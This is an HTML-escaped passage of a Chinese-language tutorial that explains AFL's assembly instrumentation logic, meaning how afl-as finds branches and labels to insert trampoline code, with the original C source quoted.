&#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ol&gt;
&lt;li&gt;‘\t’开头，且&lt;code&gt;line[1]==&#x27;.&#x27;&lt;&#x2F;code&gt;，检查是否为 &lt;code&gt;p2align&lt;&#x2F;code&gt; 指令，如果是，则设置 &lt;code&gt;skip_next_label = 1&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;尝试匹配 &lt;code&gt;&quot;text\n&quot;&quot;section\t.text&quot;&quot;section\t__TEXT,__text&quot;&quot;section __TEXT,__text&quot;&lt;&#x2F;code&gt; 其中任意一个，匹配成功， 设置 &lt;code&gt;instr_ok = 1&lt;&#x2F;code&gt;， 表示位于 &lt;code&gt;.text&lt;&#x2F;code&gt; 段中，&lt;code&gt;continue&lt;&#x2F;code&gt; 跳出，进行下一次遍历；&lt;&#x2F;li&gt;
&lt;li&gt;尝试匹配&lt;code&gt;&quot;section\t&quot;&quot;section &quot;&quot;bss\n&quot;&quot;data\n&quot;&lt;&#x2F;code&gt; 其中任意一个，匹配成功，设置 &lt;code&gt;instr_ok = 0&lt;&#x2F;code&gt;，表位于其他段中，&lt;code&gt;continue&lt;&#x2F;code&gt; 跳出，进行下一次遍历；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;接下来通过几个 &lt;code&gt;if&lt;&#x2F;code&gt; 判断，来设置一些标志信息，包括 &lt;code&gt;off-flavor assembly&lt;&#x2F;code&gt;，&lt;code&gt;Intel&#x2F;AT&amp;amp;T&lt;&#x2F;code&gt;的块处理方式、&lt;code&gt;ad-hoc __asm__&lt;&#x2F;code&gt;块的处理方式等；&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;    &#x2F;* Detect off-flavor assembly (rare, happens in gdb). When this is&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       encountered, we set skip_csect until the opposite directive is&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       seen, and we do not instrument. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (strstr(line, &quot;.code&quot;)) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (strstr(line, &quot;.code32&quot;)) skip_csect = use_64bit;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (strstr(line, &quot;.code64&quot;)) skip_csect = !use_64bit;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Detect syntax changes, as could happen with hand-written assembly.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       Skip Intel blocks, resume instrumentation when back to AT&amp;amp;T. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (strstr(line, &quot;.intel_syntax&quot;)) skip_intel = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (strstr(line, &quot;.att_syntax&quot;)) skip_intel = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Detect and skip ad-hoc __asm__ blocks, likewise skipping them. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (line[0] == &#x27;#&#x27; || line[1] == &#x27;#&#x27;) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (strstr(line, &quot;#APP&quot;)) skip_app = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (strstr(line, &quot;#NO_APP&quot;)) skip_app = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;AFL在插桩时重点关注的内容包括：&lt;code&gt;^main, ^.L0, ^.LBB0_0, ^\tjnz foo&lt;&#x2F;code&gt; （_main函数， gcc和clang下的分支标记，条件跳转分支标记），这些内容通常标志了程序的流程变化，因此AFL会重点在这些位置进行插桩：
对于形如&lt;code&gt;\tj[^m].&lt;&#x2F;code&gt;格式的指令，即条件跳转指令，且&lt;code&gt;R(100)&lt;&#x2F;code&gt;产生的随机数小于插桩密度&lt;code&gt;inst_ratio&lt;&#x2F;code&gt;，直接使用&lt;code&gt;fprintf&lt;&#x2F;code&gt;将&lt;code&gt;trampoline_fmt_64&lt;&#x2F;code&gt;(插桩部分的指令)写入 &lt;code&gt;outf&lt;&#x2F;code&gt; 指向的文件，写入大小为小于 &lt;code&gt;MAP_SIZE&lt;&#x2F;code&gt;的随机数——&lt;code&gt;R(MAP_SIZE)&lt;&#x2F;code&gt;
，然后插桩计数&lt;code&gt;ins_lines&lt;&#x2F;code&gt;加一，&lt;code&gt;continue&lt;&#x2F;code&gt; 跳出，进行下一次遍历；&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;    &#x2F;* If we&#x27;re in the right mood for instrumenting, check for function&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       names or conditional labels. This is a bit messy, but in essence,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       we want to catch:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^main:      - function entry point (always instrumented)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^.L0:       - GCC branch label&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^.LBB0_0:   - clang branch label (but only in clang mode)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^\tjnz foo  - conditional branches&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       ...but not:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^# BB#0:    - clang comments&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^ # BB#0:   - ditto&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^.Ltmp0:    - clang non-branch labels&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^.LC0       - GCC non-branch labels&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^.LBB0_0:   - ditto (when in GCC mode)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;         ^\tjmp foo  - non-conditional jumps&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       Additionally, clang and GCC on MacOS X follow a different convention&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       with no leading dots on labels, hence the weird maze of #ifdefs&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       later on.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (skip_intel || skip_app || skip_csect || !instr_ok ||&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        line[0] == &#x27;#&#x27; || line[0] == &#x27; &#x27;) continue;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Conditional branch instruction (jnz, etc). We append the instrumentation&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       right after the branch (to instrument the not-taken path) and at the&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       branch destination label (handled later on). *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (line[0] == &#x27;\t&#x27;) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (line[1] == &#x27;j&#x27; &amp;amp;&amp;amp; line[2] != &#x27;m&#x27; &amp;amp;&amp;amp; R(100) &amp;lt; inst_ratio) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                R(MAP_SIZE));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        ins_lines++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      continue;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于label的相关评估，有一些label可能是一些分支的目的地，需要自己评判
首先检查该行中是否存在&lt;code&gt;:&lt;&#x2F;code&gt;，然后检查是否以&lt;code&gt;.&lt;&#x2F;code&gt;开始&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果以&lt;code&gt;.&lt;&#x2F;code&gt;开始，则代表想要插桩&lt;code&gt;^.L0:&lt;&#x2F;code&gt;或者 &lt;code&gt;^.LBB0_0:&lt;&#x2F;code&gt;这样的branch label，即 style jump destination&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;检查 &lt;code&gt;line[2]&lt;&#x2F;code&gt;是否为数字 或者 如果是在clang_mode下，比较从&lt;code&gt;line[1]&lt;&#x2F;code&gt;开始的三个字节是否为&lt;code&gt;LBB. &lt;&#x2F;code&gt;，前述所得结果和&lt;code&gt;R(100) &amp;lt; inst_ratio)&lt;&#x2F;code&gt;相与。如果结果为真，则设置&lt;code&gt;instrument_next = 1&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;否则代表这是一个function，插桩&lt;code&gt;^func:&lt;&#x2F;code&gt;，function entry point，直接设置&lt;code&gt;instrument_next = 1&lt;&#x2F;code&gt;（defer mode）。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;60&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;61&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;62&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;63&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;    &#x2F;* Label of some sort. This may be a branch destination, but we need to&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       tread carefully and account for several different formatting&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;       conventions. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#ifdef __APPLE__&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Apple: L: *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if ((colon_pos = strstr(line, &quot;:&quot;))) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (line[0] == &#x27;L&#x27; &amp;amp;&amp;amp; isdigit(*(colon_pos - 1))) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#else&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Everybody else: .L: *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (strstr(line, &quot;:&quot;)) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (line[0] == &#x27;.&#x27;) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#endif &#x2F;* __APPLE__ *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &#x2F;* .L0: or LBB0_0: style jump destination *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#ifdef __APPLE__&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Apple: L &#x2F; LBB *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if ((isdigit(line[1]) || (clang_mode &amp;amp;&amp;amp; !strncmp(line, &quot;LBB&quot;, 3)))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            &amp;amp;&amp;amp; R(100) &amp;lt; inst_ratio) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#else&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;* Apple: .L &#x2F; .LBB *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if ((isdigit(line[2]) || (clang_mode &amp;amp;&amp;amp; !strncmp(line + 1, &quot;LBB&quot;, 3)))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            &amp;amp;&amp;amp; R(100) &amp;lt; inst_ratio) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#endif &#x2F;* __APPLE__ *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          &#x2F;* An optimization is possible here by adding the code only if the&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             label is mentioned in the code in contexts other than call &#x2F; jmp.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             That said, this complicates the code by requiring two-pass&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             processing (messy with stdin), and results in a speed gain&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             typically under 10%, because compilers are generally pretty good&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             about not generating spurious intra-function jumps.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             We use deferred output chiefly to avoid disrupting&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             .Lfunc_begin0-style exception handling calculations (a problem on&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;             MacOS X). *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;          if (!skip_next_label) instrument_next = 1; else skip_next_label = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        &#x2F;* Function label (always instrumented, deferred mode). *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        instrument_next = 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;上述过程完成后，来到 &lt;code&gt;while&lt;&#x2F;code&gt; 循环的下一个循环，在 &lt;code&gt;while&lt;&#x2F;code&gt; 的开头，可以看到对以 defered mode 进行插桩的位置进行了真正的插桩处理：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;    if (!pass_thru &amp;amp;&amp;amp; !skip_intel &amp;amp;&amp;amp; !skip_app &amp;amp;&amp;amp; !skip_csect &amp;amp;&amp;amp; instr_ok &amp;amp;&amp;amp;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        instrument_next &amp;amp;&amp;amp; line[0] == &#x27;\t&#x27; &amp;amp;&amp;amp; isalpha(line[1])) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;              R(MAP_SIZE));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      instrument_next = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      ins_lines++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;这里对 &lt;code&gt;instr_ok, instrument_next&lt;&#x2F;code&gt; 变量进行了检验是否为1，而且进一步校验是否位于 &lt;code&gt;.text&lt;&#x2F;code&gt; 段中，且设置了 defered mode 进行插桩，则就进行插桩操作，写入 &lt;code&gt;trampoline_fmt_64&#x2F;32&lt;&#x2F;code&gt; 。&lt;&#x2F;td&gt;&lt;td&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
